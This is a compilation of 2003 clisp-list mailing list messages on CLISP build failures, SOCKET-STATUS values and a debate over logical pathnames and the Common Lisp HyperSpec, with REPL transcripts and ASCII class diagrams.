(as opposed to WRITE-SEQUENCE)

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Hello,

[37]> (lisp-implementation-version)
"2.30 (released 2002-09-15) (built 3251450717) (memory 3251450977)"


I'm wondering if there is not a problem with logical-pathname on unix:

[38]> (namestring (pathname "/home/pascal/tmp/test/*"))
"/home/pascal/tmp/test/*"

OK.


[39]> (namestring (logical-pathname "/home/pascal/tmp/test/*"))
";HOME;PASCAL;TMP;TEST;*"

Oops !  A relative path!


[40]> (logical-pathname "/home/pascal/tmp/test/*")
#S(LOGICAL-PATHNAME :HOST NIL :DEVICE NIL
   :DIRECTORY (:RELATIVE "HOME" "PASCAL" "TMP" "TEST") :NAME :WILD :TYPE NIL
   :VERSION NIL)

Since the namestring started with '/', I expected an :ABSOLUTE logical
path name.

As  it  is, the  :RELATIVE  logical-pathname  can't  be used,  because
DIRECTORY really works relatively  to the current directory instead of
relatively to the root:

[41]> (directory (logical-pathname "/home/pascal/tmp/test/*"))
NIL

[42]> (directory (pathname "/home/pascal/tmp/test/*"))
(#P"/home/pascal/tmp/test/a"
 #P"/home/pascal/tmp/test/b"
 #P"/home/pascal/tmp/test/c")



Note  also  the  dot  appended  to  the  pathname  when  translating  a
logical-path name:

(translate-logical-pathname "/home/pascal/tmp/test/*")
#P"home/pascal/tmp/test/*."

could prevent DIRECTORY to work too even if the logical path built was
:ABSOLUTE.

[150]> (directory #P"/home/pascal/tmp/test/*.")
NIL
[151]> (directory #P"/home/pascal/tmp/test/*")
(#P"/home/pascal/tmp/test/a"
 #P"/home/pascal/tmp/test/b"
 #P"/home/pascal/tmp/test/c")



The paths  in Common-Lisp is  already complicated enough. It  would be
nice if the implementation showed a little more regularity there.








If I've understood correctly the section 19.4 of CLHS and the relative
glossary entries, we have the following "class diagram" anontated with
transitions denoting the functions available to manipulate the paths.

Please correct me if I've misunderstood a specification here.


   (Perhaps, pathname and physical-pathname are identical?)
   

                              parse-namestring
                                   +--+
                                   |  |
                                   V  |
                     +------------------------+
                     |        pathname        |---------------------------+
                     +------------------------+                           |
      make-pathname  | + device               |                           |
   *---------------->| + directory            |                           |
                     | + host                 |<----------------------+   |
                     | + name                 |                       |   |
                     | + type                 |                       |   |
                     | + version              |                       |   |
                     +------------------------+                       |   |
                                  |                                   |   |
                                 / \                                  |   |
        logical-pathname        /___\                                 |   |
              +--+                |                                   |   |
              |  |    +-----------+-------------+                     |   |
              V  |    |                         |                     |   |
             +------------------+      +-------------------+          |   |
    +------->| logical-pathname |      | physical-pathname |          |   |
    |        +------------------+      +-------------------+          |   |
    |                                                  ^              |   |
    |                     translate-logical-pathname   |              |   |
    |                             +--------------------+              |   |
    |                             |                                   |   |
    |                             |                                   |   |
    |logical-pathname             |                                   |   |
    |                             |             parse-namestring      |   |
    |            +---------------------+           pathname           |   |
    +------------| pathname-designator |------------------------------+   |
                 +---------------------+                                  |
                            |                                             |
                           / \                                            |
                          /___\                   enough-namestring       |
                            |                       host-namestring       |
                +-----------+----------+           directory-namestring   |
                |                      |              file-namestring     |
             +--------+         +------------+          namestring        |
             | stream |         | namestring |<---------------------------+
             +--------+         +------------+
                                       |
                                      / \
                                     /___\
                                       |
                          +------------+---------------+
                          |                            |
               +---------------------+      +-----------------------+
               | string-standardized |      | string-implementation |
               +---------------------+      +-----------------------+
          aka logical-pathname-namestring



Standardized  string and logical  pathname namestring  seem to  be the
same thing.   Then pathname should  probably build a  logical pathname
when  given  a  logical  pathname  namestring contrarily  to  what  is
currently implemented.



Note also  about pathname  that it's specified  over a pathspec,  ie a
pathname designator,  (stream or  namestring), not over  pathname. So:
(pathname (pathname "/tmp")) should probably raise an error instead of
returning (pathname "/tmp")...


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 > > Could you please tell us what those new values mean?
 > 
 > :ERROR: next i/o will generate an error
 > :INPUT: only input is possible (or requested)
 > :OUTPUT: only output is possible (or requested)
 > :IO: both input and output are possible
 > :EOF: input --> EOF, output impossible or not requested
 > :APPEND: output possible, input --> EOF
 > :WAIT: both output & input --> hang (or not requested)

What's this requested stuff?
Under what circumstance would io cause an error?  Socket closed?
(Hmm, even that should give eof on input, right?)

So, if I understand, input can do three things:
 - wait
 - eof
 - return immediately with "real" input
whereas output can only do 2:
 - wait
 - return immediately 

You call these

		input
	  	wait	real	eof
 output	      +-------------------------
	return| output	io	append
	 wait |	wait	input	eof

It seems to me that you might want another row for output when 
the output direction has been closed.  In that case I guess output
would give an error?
So right now you return error in that case regardless of what input
would give?  Or maybe in clisp once you close you can no longer read
either, i.e., the two directions don't really close independently as
in tcp.
(Am I making sense to you ?)


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Hello!

In

clisp-2.30-i686-unk~-2.4.18-10.tar.gz
(clisp 2.30 (2002-09-15))

$ make
cc  -O  base/modules.o base/lisp.a base/libcharset.a base/libavcall.a base/libcallback.a -lreadline -lncurses -ldl /usr/lib/libsigsegv.a -lc -lm -o base/lisp.run
base/lisp.a(lisp.o): In function `lisp_completion_more':
lisp.o(.text+0x33fa5): undefined reference to `rl_filename_completion_function'
collect2: ld returned 1 exit status
make: *** [base/lisp.run] Error 1


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clisp-2.30


$ base/lisp.run -M base/lispinit.mem


[1]> (without-package-lock ()
        (compile-file "src/config.lisp")
        (load "src/config.fas"))

*** - handle_fault error2 ! address = 0x88000013 not in [0x68054B98,0x6807E000)
!
SIGSEGV cannot be cured. Fault address = 0x88000013.
Segmentation fault (core dumped)

$ gdb -core=core base/lisp.run
GNU gdb 4.17.0.11 with Linux support
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
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This GDB was configured as "i386-redhat-linux"...
Core was generated by `base/lisp.run -M base/lispinit.mem'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /usr/lib/libreadline.so.4.1...done.
Reading symbols from /usr/lib/libncurses.so.4...done.
Reading symbols from /lib/libdl.so.2...done.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/libm.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
Reading symbols from /usr/lib/gconv/KOI8-R.so...done.
#0  0x8054cc7 in unwind ()
(gdb) bt
#0  0x8054cc7 in unwind ()
#1  0x4009fbe4 in __sigjmp_save (env=0x20298aa9, savemask=539593336)
#2  0x805b336 in funcall_closure ()
#3  0x805b336 in funcall_closure ()
#4  0x805b336 in funcall_closure ()
#5  0x40099cc3 in __libc_start_main (main=0x80518d4 <main>, argc=3,
    argv=0xbffffc24, init=0x804a084 <_init>, fini=0x80e52fc <_fini>,
    rtld_fini=0x4000a350 <_dl_fini>, stack_end=0xbffffc1c)
    at ../sysdeps/generic/libc-start.c:78
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Pascal Bourguignon <pjb@informatimago.com> writes:


> Note also  about pathname  that it's specified  over a pathspec,  ie a
> pathname designator,  (stream or  namestring), not over  pathname. So:
> (pathname (pathname "/tmp")) should probably raise an error instead of
> returning (pathname "/tmp")...

Why isn't a pathname a pathname designator: 

Hmmm. My CLHS glossary says:

  pathname designator n. a designator for a pathname; that is, an
  object that denotes a pathname and that is one of: a pathname
  namestring (denoting the corresponding pathname), a stream
  associated with a file (denoting the pathname used to open the file;
  this may be, but is not required to be, the actual name of the
  file), or a pathname (denoting itself). See Section 21.1.1.1.2 (Open
         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  and Closed Streams).

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> * In message <200301291035.OAA15312@yk.udmts.elektra.ru>
> * On the subject of "[clisp-list] unable to install clisp"
> * Sent on Wed, 29 Jan 2003 14:35:24 +0400 (SAMT)
> * Honorable Yuri Kostylev <yuri@yk.udmts.elektra.ru> writes:
>
> clisp-2.30-i686-unk~-2.4.18-10.tar.gz
> (clisp 2.30 (2002-09-15))
>=20
> $ make
> cc  -O  base/modules.o base/lisp.a base/libcharset.a base/libavcall.a bas=
e/libcallback.a -lreadline -lncurses -ldl /usr/lib/libsigsegv.a -lc -lm -o =
base/lisp.run
> base/lisp.a(lisp.o): In function `lisp_completion_more':
> lisp.o(.text+0x33fa5): undefined reference to `rl_filename_completion_fun=
ction'
> collect2: ld returned 1 exit status
> make: *** [base/lisp.run] Error 1
>=20
> =C7=E2=DE =D4=D5=DB=D0=E2=EC?

=BA=E2=DE =D2=D8=DD=DE=D2=D0=E2?

> What have i to do?

either upgrade your readline library or get the sources and build from them.

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> * In message <200301291052.OAA23830@yk.udmts.elektra.ru>
> * On the subject of "[clisp-list] sigsegv?"
> * Sent on Wed, 29 Jan 2003 14:52:20 +0400 (SAMT)
> * Honorable Yuri Kostylev <yuri@yk.udmts.elektra.ru> writes:
>
> $ base/lisp.run -M base/lispinit.mem
> 
> 
> [1]> (without-package-lock ()
>         (compile-file "src/config.lisp")
>         (load "src/config.fas"))
> 
> *** - handle_fault error2 ! address = 0x88000013 not in [0x68054B98,0x6807E000)
> !
> SIGSEGV cannot be cured. Fault address = 0x88000013.
> Segmentation fault (core dumped)

please rebuild like this:

$ ./configure --with-debug --build build-g
$ cd build-g
$ gdb

and then try your code again.

thanks.


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> * In message <20030129042732.5E94F238AE@thalassa.informatimago.com>
> * On the subject of "[clisp-list] logical-pathname"
> * Sent on Wed, 29 Jan 2003 05:27:32 +0100 (CET)
> * Honorable Pascal Bourguignon <pjb@informatimago.com> writes:
>
> [38]> (namestring (pathname "/home/pascal/tmp/test/*"))
> "/home/pascal/tmp/test/*"
> 
> OK.
> 
> [39]> (namestring (logical-pathname "/home/pascal/tmp/test/*"))
> ";HOME;PASCAL;TMP;TEST;*"
> 
> Oops !  A relative path!

what did you expect?!
when forced to consider a path as logical, CLISP treats #\/ as #\;.
otherwise it would have to signal an error because #\/ is not a valid
logical pathname char.

> [40]> (logical-pathname "/home/pascal/tmp/test/*")
> #S(LOGICAL-PATHNAME :HOST NIL :DEVICE NIL
>    :DIRECTORY (:RELATIVE "HOME" "PASCAL" "TMP" "TEST") :NAME :WILD :TYPE NIL
>    :VERSION NIL)

yep.

> Since the namestring started with '/', I expected an :ABSOLUTE logical
> path name.

why?  ";foo;bar" is relative.

> As  it  is, the  :RELATIVE  logical-pathname  can't  be used,  because
> DIRECTORY really works relatively  to the current directory instead of
> relatively to the root:
> 
> [41]> (directory (logical-pathname "/home/pascal/tmp/test/*"))
> NIL
> 
> [42]> (directory (pathname "/home/pascal/tmp/test/*"))
> (#P"/home/pascal/tmp/test/a"
>  #P"/home/pascal/tmp/test/b"
>  #P"/home/pascal/tmp/test/c")

correct.

> The paths  in Common-Lisp is  already complicated enough. It  would be
> nice if the implementation showed a little more regularity there.

just do not ask your implementation to treat physical pathnames as
logical ones and vv.


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> * In message <15927.26822.517813.724780@isis.cs3-inc.com>
> * On the subject of "Re: [clisp-list] proposed modifications to SOCKET-STATUS"
> * Sent on Tue, 28 Jan 2003 21:38:14 -0800
> * Honorable don-sourceforge@isis.cs3-inc.com (Don Cohen) writes:
>
>  > > Could you please tell us what those new values mean?
>  > 
>  > :ERROR: next i/o will generate an error
>  > :INPUT: only input is possible (or requested)
>  > :OUTPUT: only output is possible (or requested)
>  > :IO: both input and output are possible
>  > :EOF: input --> EOF, output impossible or not requested
>  > :APPEND: output possible, input --> EOF
>  > :WAIT: both output & input --> hang (or not requested)
> 
> What's this requested stuff?

see <http://clisp.cons.org/impnotes/socket.html#so-status>,
specifically the table "Possible values of socket-stream-or-list".

> Under what circumstance would io cause an error?

see select(2), "exceptfds".

> So, if I understand, input can do three things:
>  - wait
>  - eof
>  - return immediately with "real" input
> whereas output can only do 2:
>  - wait
>  - return immediately 

it can also signal an error if the other side has closed the
connection, but I don't know how to check for this.

> You call these
> 
> 		input
> 	  	wait	real	eof
>  output	      +-------------------------
> 	return| output	io	append
> 	 wait |	wait	input	eof
> 
> It seems to me that you might want another row for output when 
> the output direction has been closed.  In that case I guess output
> would give an error?

yes, almost:

[7]> (format o "foo")
NIL
[8]> (format o "foo~%")

[stream.d:13629] 
*** - UNIX error 32 (EPIPE): Broken pipe, child process terminated or socket closed
1. Break [9]> 


i.e., the error is only after a NL.

how do I check for this?


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On Tuesday, Jan 28, 2003, at 23:27 America/New_York, Pascal Bourguignon 
wrote:

> Hello,
>
> [37]> (lisp-implementation-version)
> "2.30 (released 2002-09-15) (built 3251450717) (memory 3251450977)"
>
>
> I'm wondering if there is not a problem with logical-pathname on unix:
>
> [38]> (namestring (pathname "/home/pascal/tmp/test/*"))
> "/home/pascal/tmp/test/*"
>
> OK.
>
>

The following discussion is moot since

	"/home/pascal/tmp/test/*"

is not a logical pathname designator.

This is a bug in CLisp, as it should signal an error, as per CLHS 
definition of the function LOGICAL-PATHNAME.

You may argue that the CLHS is bogus here, but that is a totally 
different issue.

Cheers


Marco


> [39]> (namestring (logical-pathname "/home/pascal/tmp/test/*"))
> ";HOME;PASCAL;TMP;TEST;*"
>
> Oops !  A relative path!
>
>
> [40]> (logical-pathname "/home/pascal/tmp/test/*")
> #S(LOGICAL-PATHNAME :HOST NIL :DEVICE NIL
>    :DIRECTORY (:RELATIVE "HOME" "PASCAL" "TMP" "TEST") :NAME :WILD 
> :TYPE NIL
>    :VERSION NIL)
>
> Since the namestring started with '/', I expected an :ABSOLUTE logical
> path name.
>
> As  it  is, the  :RELATIVE  logical-pathname  can't  be used,  because
> DIRECTORY really works relatively  to the current directory instead of
> relatively to the root:
>
> [41]> (directory (logical-pathname "/home/pascal/tmp/test/*"))
> NIL
>
> [42]> (directory (pathname "/home/pascal/tmp/test/*"))
> (#P"/home/pascal/tmp/test/a"
>  #P"/home/pascal/tmp/test/b"
>  #P"/home/pascal/tmp/test/c")
>
>
>
> Note  also  the  dot  appended  to  the  pathname  when  translating  a
> logical-path name:
>
> (translate-logical-pathname "/home/pascal/tmp/test/*")
> #P"home/pascal/tmp/test/*."
>
> could prevent DIRECTORY to work too even if the logical path built was
> :ABSOLUTE.
>
> [150]> (directory #P"/home/pascal/tmp/test/*.")
> NIL
> [151]> (directory #P"/home/pascal/tmp/test/*")
> (#P"/home/pascal/tmp/test/a"
>  #P"/home/pascal/tmp/test/b"
>  #P"/home/pascal/tmp/test/c")
>
>
>
> The paths  in Common-Lisp is  already complicated enough. It  would be
> nice if the implementation showed a little more regularity there.
>
>
>
>
>
>
>
>
> If I've understood correctly the section 19.4 of CLHS and the relative
> glossary entries, we have the following "class diagram" anontated with
> transitions denoting the functions available to manipulate the paths.
>
> Please correct me if I've misunderstood a specification here.
>
>
>    (Perhaps, pathname and physical-pathname are identical?)
>
>
>                               parse-namestring
>                                    +--+
>                                    |  |
>                                    V  |
>                      +------------------------+
>                      |        pathname        
> |---------------------------+
>                      +------------------------+                        
>    |
>       make-pathname  | + device               |                        
>    |
>    *---------------->| + directory            |                        
>    |
>                      | + host                 
> |<----------------------+   |
>                      | + name                 |                       
> |   |
>                      | + type                 |                       
> |   |
>                      | + version              |                       
> |   |
>                      +------------------------+                       
> |   |
>                                   |                                   
> |   |
>                                  / \                                  
> |   |
>         logical-pathname        /___\                                 
> |   |
>               +--+                |                                   
> |   |
>               |  |    +-----------+-------------+                     
> |   |
>               V  |    |                         |                     
> |   |
>              +------------------+      +-------------------+          
> |   |
>     +------->| logical-pathname |      | physical-pathname |          
> |   |
>     |        +------------------+      +-------------------+          
> |   |
>     |                                                  ^              
> |   |
>     |                     translate-logical-pathname   |              
> |   |
>     |                             +--------------------+              
> |   |
>     |                             |                                   
> |   |
>     |                             |                                   
> |   |
>     |logical-pathname             |                                   
> |   |
>     |                             |             parse-namestring      
> |   |
>     |            +---------------------+           pathname           
> |   |
>     +------------| pathname-designator 
> |------------------------------+   |
>                  +---------------------+                               
>    |
>                             |                                          
>    |
>                            / \                                         
>    |
>                           /___\                   enough-namestring    
>    |
>                             |                       host-namestring    
>    |
>                 +-----------+----------+           
> directory-namestring   |
>                 |                      |              file-namestring  
>    |
>              +--------+         +------------+          namestring     
>    |
>              | stream |         | namestring 
> |<---------------------------+
>              +--------+         +------------+
>                                        |
>                                       / \
>                                      /___\
>                                        |
>                           +------------+---------------+
>                           |                            |
>                +---------------------+      +-----------------------+
>                | string-standardized |      | string-implementation |
>                +---------------------+      +-----------------------+
>           aka logical-pathname-namestring
>
>
>
> Standardized  string and logical  pathname namestring  seem to  be the
> same thing.   Then pathname should  probably build a  logical pathname
> when  given  a  logical  pathname  namestring contrarily  to  what  is
> currently implemented.
>
>
>
> Note also  about pathname  that it's specified  over a pathspec,  ie a
> pathname designator,  (stream or  namestring), not over  pathname. So:
> (pathname (pathname "/tmp")) should probably raise an error instead of
> returning (pathname "/tmp")...
>
>
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Peter Seibel writes:
> Pascal Bourguignon <pjb@informatimago.com> writes:
> 
> 
> > Note also  about pathname  that it's specified  over a pathspec,  ie a
> > pathname designator,  (stream or  namestring), not over  pathname. So:
> > (pathname (pathname "/tmp")) should probably raise an error instead of
> > returning (pathname "/tmp")...
> 
> Why isn't a pathname a pathname designator: 
> 
> Hmmm. My CLHS glossary says:
> 
>   pathname designator n. a designator for a pathname; that is, an
>   object that denotes a pathname and that is one of: a pathname
>   namestring (denoting the corresponding pathname), a stream
>   associated with a file (denoting the pathname used to open the file;
>   this may be, but is not required to be, the actual name of the
>   file), or a pathname (denoting itself). See Section 21.1.1.1.2 (Open
>          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>   and Closed Streams).
> 
> -Peter

Yes, I missed this clause. Thank you.

So that gives (I'll reorder the boxes later):

                              
+-------------------------+   
|                         |                     
|                    +------------------------+
|                    |        pathname        |---------------------------+
|                    +------------------------+                           |
|     make-pathname  | + device               |                           |
|  *---------------->| + directory            |                           |
|                    | + host                 |<----------------------+   |
|                    | + name                 |                       |   |
|                    | + type                 |                       |   |
|                    | + version              |                       |   |
|                    +------------------------+                       |   |
|                                 |                                   |   |
|                                / \                                  |   |
|                               /___\                                 |   |
|                                 |                                   |   |
|                     +-----------+-------------+                     |   |
|                     |                         |                     |   |
|            +------------------+      +-------------------+          |   |
|   +------->| logical-pathname |      | physical-pathname |          |   |
|   |        +------------------+      +-------------------+          |   |
|   |                                                  ^              |   |
|   |                     translate-logical-pathname   |              |   |
|   |                             +--------------------+              |   |
|   |                             |                                   |   |
|   |                             |                                   |   |
|   |logical-pathname             |                                   |   |
|   |                             |             parse-namestring      |   |
|   |            +---------------------+           pathname           |   |
|   +------------| pathname-designator |------------------------------+   |
|                +---------------------+                                  |
|                           |                                             |
|                          / \                                            |
|                         /___\                   enough-namestring       |
|                           |                       host-namestring       |
+---------------+-----------+----------+           directory-namestring   |
                |                      |              file-namestring     |
             +--------+         +------------+          namestring        |
             | stream |         | namestring |<---------------------------+
             +--------+         +------------+
                                       |
                                      / \
                                     /___\
                                       |
                          +------------+---------------+
                          |                            |
               +---------------------+      +-----------------------+
               | string-standardized |      | string-implementation |
               +---------------------+      +-----------------------+
          aka logical-pathname-namestring


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> * In message <15928.8886.537897.980182@thalassa.informatimago.com>
> * On the subject of "Re: [clisp-list] logical-pathname"
> * Sent on Wed, 29 Jan 2003 19:51:34 +0100
> * Honorable Pascal Bourguignon <pjb@informatimago.com> writes:
>
> Sam Steingold writes:
> > when forced to consider a path as logical, CLISP treats #\/ as #\;.
> > otherwise it would have to signal an error because #\/ is not a valid
> > logical pathname char.
> 
> I'm not alone expecting an absolute path here.  The CLISP
> implementation notes too:
> 
>      : / denotes absolute pathnames        <----------------

in physical pathnames.

> It seems obvious to me that applying directory to the same namestring
> converted either to pathname or to logical-pathname should give the
> same result.

why?

logical pathnames are quite different from physical ones.
to begin with, "/foo/bar" is __NOT__ a valid logical pathname
namestring in ANSI CL.
CLISP, as an __EXTENSION__, treats it as if it were ";foo;bar".
I am not sure it would be better to treat it as "foo;bar".

do the users really think that the latter is better?

(note that it is not clear that this extension is useful at all: it is a
big mistake of judgment to mix logical and physical pathnames)



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On Wednesday, Jan 29, 2003, at 14:17 America/New_York, Sam Steingold 
wrote:

>> * In message <15928.8886.537897.980182@thalassa.informatimago.com>
>> * On the subject of "Re: [clisp-list] logical-pathname"
>> * Sent on Wed, 29 Jan 2003 19:51:34 +0100
>> * Honorable Pascal Bourguignon <pjb@informatimago.com> writes:
>>
>> Sam Steingold writes:
>>> when forced to consider a path as logical, CLISP treats #\/ as #\;.
>>> otherwise it would have to signal an error because #\/ is not a valid
>>> logical pathname char.
>>
>> I'm not alone expecting an absolute path here.  The CLISP
>> implementation notes too:
>>
>>      : / denotes absolute pathnames        <----------------
>
> in physical pathnames.
>
>> It seems obvious to me that applying directory to the same namestring
>> converted either to pathname or to logical-pathname should give the
>> same result.
>
> why?
>
> logical pathnames are quite different from physical ones.
> to begin with, "/foo/bar" is __NOT__ a valid logical pathname
> namestring in ANSI CL.
> CLISP, as an __EXTENSION__, treats it as if it were ";foo;bar".

This extension is non conforming.  See CLHS for LOGICAL-PATHNAME.

> I am not sure it would be better to treat it as "foo;bar".
>
> do the users really think that the latter is better?
>
> (note that it is not clear that this extension is useful at all: it is 
> a
> big mistake of judgment to mix logical and physical pathnames)
>

I think CLisp should signal an error if LOGICAL-PATHNAME is passed a 
non logical pathname namestring.

This would make it conforming and will allow you to write (more) 
portable code.

I agree that mixing logical and non logical namestrings is fishy.

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Marco Antoniotti writes:
> 
> The following discussion is moot since
> 
> 	"/home/pascal/tmp/test/*"
> 
> is not a logical pathname designator.

pathspec---a logical pathname, a logical pathname namestring, or a stream.

Oops, you're right.  
 
> This is a bug in CLisp, as it should signal an error, as per CLHS 
> definition of the function LOGICAL-PATHNAME.
> 
> You may argue that the CLHS is bogus here, but that is a totally 
> different issue.

Unfortunately, I hoped that it was only an implementation issue. 



I note that logical-pathname takes a stream too, and that a stream can
be obtained from a pathname designator.

So,  I suppose  that  the only  Common-Lisp  compatible way  to get  a
logical-pathname from an implementation dependant string is with:

(let ((already-existed (open "/home/pascal/tmp/test/file" :direction :proble)))
  (prog1  (logical-pathname (open "/home/pascal/tmp/test/file" 
                                 :direction :read
                                 :if-does-not-exist :create))
          (unless already-existed (delete-file "/home/pascal/tmp/test/file"))))

and this  works only for files and  when we have access  rights to the
directory.  Anything else simplier?





Well, once  more I  notice useless features  in Common-Lisp,  that is,
features so  ill-defined that you have  to write your  own. I'll parse
namestrings myself and build pathnames by hand.





Updated diagram:

I notice  that there is  no way to  get a logical-pathname but  from a
logicial-pathname-namestring. Is that correct?



   translate-logical-pathname
   parse-namestring
   pathname            +---------------------+
   +-------------------| pathname-designator |
   |                   +---------------------+
   |  *                          |
   |  |make-pathname            / \
   |  |                        /___\
   |  |                          |
   |  |  +----------------+------+---------------+
   V  V  |                |                      |
  +--------------+    +--------+          +------------+
  |   pathname   |    | stream |          | namestring |
  +--------------+    +--------+          +------------+
  | + device     |        |                   ^    |
  | + directory  |        |  namestring       |    |
  | + host       |----------------------------+    |
  | + name       |        |  directory-namestring  |
  | + type       |        |  enought-namestring   / \
  | + version    |        |  host-namestring     /___\
  +--------------+        |  file-namestring       |
         |                |                        |  +-----------------------+
        / \               |                        +--| string-implementation |
       /___\              |                        |  +-----------------------+
         |                |                        |
+------------------+      V logical-pathname    +-----------------------------+
| logical-pathname |<---------------------------| logical-pathname-namestring |
+------------------+      ^                     +-----------------------------+
              |           |
              +-----------+



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please read
<http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/*checkout*/clisp/clisp/doc/impnotes.html?rev=HEAD&content-type=text/html#so-status>
and try CVS head
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On Wednesday, Jan 29, 2003, at 14:38 America/New_York, Pascal 
Bourguignon wrote:

>
> Marco Antoniotti writes:
>>
>> The following discussion is moot since
>>
>> 	"/home/pascal/tmp/test/*"
>>
>> is not a logical pathname designator.
>
> pathspec---a logical pathname, a logical pathname namestring, or a 
> stream.
>
> Oops, you're right.
>
>> This is a bug in CLisp, as it should signal an error, as per CLHS
>> definition of the function LOGICAL-PATHNAME.
>>
>> You may argue that the CLHS is bogus here, but that is a totally
>> different issue.
>
> Unfortunately, I hoped that it was only an implementation issue.
>
>
>
> I note that logical-pathname takes a stream too, and that a stream can
> be obtained from a pathname designator.
>
> So,  I suppose  that  the only  Common-Lisp  compatible way  to get  a
> logical-pathname from an implementation dependant string is with:
>
> (let ((already-existed (open "/home/pascal/tmp/test/file" :direction 
> :proble)))
>   (prog1  (logical-pathname (open "/home/pascal/tmp/test/file"
>                                  :direction :read
>                                  :if-does-not-exist :create))
>           (unless already-existed (delete-file 
> "/home/pascal/tmp/test/file"))))
>
> and this  works only for files and  when we have access  rights to the
> directory.  Anything else simplier?

No.  AFAIU Even the above would not work.  Check the spec for the 
function LOGICAL-PATHNAME.

In the example above OPEN will return a PATHNAME not a 
LOGICAL-PATHNAME.  Hence you cannot use LOGICAL-PATHNAME as you hope do 
do.

In CL the process of translating a logical pathname is unidirectional 
and not reversible.  Which is what it seems you are trying to do.

>
>
>
>
>
> Well, once  more I  notice useless features  in Common-Lisp,  that is,
> features so  ill-defined that you have  to write your  own. I'll parse
> namestrings myself and build pathnames by hand.

That is exactly the wrong approach.  The pathname stuff in CL is 
difficult and sometime non univocally defined, but it works.

What exactly are you trying to do?

Note that your main entry points in the CL pathname subsystem are 
PARSE-NAMESTRING and LOGICAL-PATHNAME-TRANSLATIONS.

If you stick to these you will solve most of your problems.

	...
>
> I notice  that there is  no way to  get a logical-pathname but  from a
> logicial-pathname-namestring. Is that correct?

Yes (or from another logical pathname, or a stream with an associated 
logical pathname).

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Sam Steingold writes:
> >      : / denotes absolute pathnames        <----------------
> 
> in physical pathnames.
> 
> logical pathnames are quite different from physical ones.
> to begin with, "/foo/bar" is __NOT__ a valid logical pathname
> namestring in ANSI CL.

In effect. I overlooked that.


> CLISP, as an __EXTENSION__, treats it as if it were ";foo;bar".
> I am not sure it would be better to treat it as "foo;bar".

The fact  is that such behavior  should not be depended  upon. I guess
that in these  cases, it's better to raise an  error.  That would help
the   programmers   to  avoid   lock   themselves  into   incompatible
idiosyncrasies.
 

> do the users really think that the latter is better?
> 
> (note that it is not clear that this extension is useful at all: it is a
> big mistake of judgment to mix logical and physical pathnames)

Writting a program, I have unix path strings (and regexp wildcards) in
the configuration. I wanted to "abstract" them to ease portability and
thus convert  them to logical paths  and only use logical  path in the
rest of the program.


Well, it appears that logical  pathnames are read only (can't generate
a logical path name from a given configuration.  At most I can convert
my  unix paths  to (physical)  pathnames.   Since I  can't convert  to
logical  pathnames,  I'd  better  manipulate  the  unix  path  strings
directly (pathname  wildcard is too  restricted) or thru  the pathname
and forget logical pathnames.

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Date: Wed Jan 29 12:16:22 2003
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>
> I notice  that there is  no way to  get a logical-pathname but  from a
> logicial-pathname-namestring. Is that correct?
>

Just to make another argument about this.

Suppose you have

    (setf (logical-pathname-translations "FOO")
       `(("**;*.*" "/usr/foo/*.*")))

    (setf (logical-pathname-translations "GNAO")
       `(("**;*.*" "/usr/foo/*.*")))

The above is legal CL.  Now you do

   (translate-logical-pathname "FOO:qwe;rty.c")
    ==> #p"/usr/foo/rty.c"

   (translate-logical-pathname "GNAO:qwe;rty.c")
    ==> #p"/usr/foo/rty.c"

The question now is: what should the hypothetical

	(get-logical-pathname-from-namestring "/usr/foo/rty.c")

return?

Note that there are ways in CL to build a function that would return 
all the possible logical pathnames from an arbitrary pathname 
namestring.  This involves keeping track of all the defined logical 
hosts and building a match with all possible translations.

This is left as an easy exercise to the reader :)

Jokes apart, what are you trying to do?

Cheers

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Date: Wed Jan 29 12:38:03 2003
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On Wednesday, Jan 29, 2003, at 15:08 America/New_York, Pascal 
Bourguignon wrote:
>
> Writting a program, I have unix path strings (and regexp wildcards) in
> the configuration. I wanted to "abstract" them to ease portability and
> thus convert  them to logical paths  and only use logical  path in the
> rest of the program.

Note that AFAIK, in any UNIX system it is very difficult to reliably 
specify something like

	(make-pathname :directory '(:relative "foo" :wild-inferiors "bar"))

>
>
> Well, it appears that logical  pathnames are read only (can't generate
> a logical path name from a given configuration.  At most I can convert
> my  unix paths  to (physical)  pathnames.   Since I  can't convert  to
> logical  pathnames,  I'd  better  manipulate  the  unix  path  strings
> directly (pathname  wildcard is too  restricted) or thru  the pathname
> and forget logical pathnames.

Noooooo.  DO NOT DO THAT! Check out PARSE-NAMESTRING.  If you have a 
"configuration" somewhere, it means that that is something you are 
loading up at start time.  This means that you are better off setting 
up logical pathname translations to start with.

Cheers


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On Wednesday, Jan 29, 2003, at 15:36 America/New_York, Pascal 
Bourguignon wrote:

>
> Marco Antoniotti writes:
>>>
>>> I notice  that there is  no way to  get a logical-pathname but  from 
>>> a
>>> logicial-pathname-namestring. Is that correct?
>>>
>>
>> Just to make another argument about this.
>>
>> Suppose you have
>>
>>     (setf (logical-pathname-translations "FOO")
>>        `(("**;*.*" "/usr/foo/*.*")))
>>
>>     (setf (logical-pathname-translations "GNAO")
>>        `(("**;*.*" "/usr/foo/*.*")))
>>
>> The above is legal CL.  Now you do
>>
>>    (translate-logical-pathname "FOO:qwe;rty.c")
>>     ==> #p"/usr/foo/rty.c"
>>
>>    (translate-logical-pathname "GNAO:qwe;rty.c")
>>     ==> #p"/usr/foo/rty.c"
>>
>>
>> The question now is: what should the hypothetical
>>
>> 	(get-logical-pathname-from-namestring "/usr/foo/rty.c")
>>
>> return?
>>
>> Note that there are ways in CL to build a function that would return
>> all the possible logical pathnames from an arbitrary pathname
>> namestring.  This involves keeping track of all the defined logical
>> hosts and building a match with all possible translations.
>>
>>
>> This is left as an easy exercise to the reader :)
>>
>> Jokes apart, what are you trying to do?
>
> Abstract the unix path name I have in the configuration of my program.
> The current  lisp code I have is  emacs lisp where the  paths are just
> unix path strings.

Ok.

>
>
> In my case,  since I start with "/usr/foo/rty.c" I'll  stick to it, or
> at most to (pathname (fetch-path-string-from-configuration)).
>

Yes.  But this is a particular solution.  Your question asked whether 
it was possible to do the reverse translation in general.

How does this configuration file looks like?

Cheers

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Here is an extract of aima code:
(http://www.cs.berkeley.edu/~russell/code/doc/install.html)
whose purpose is to avoid redefining existing functions or macros:

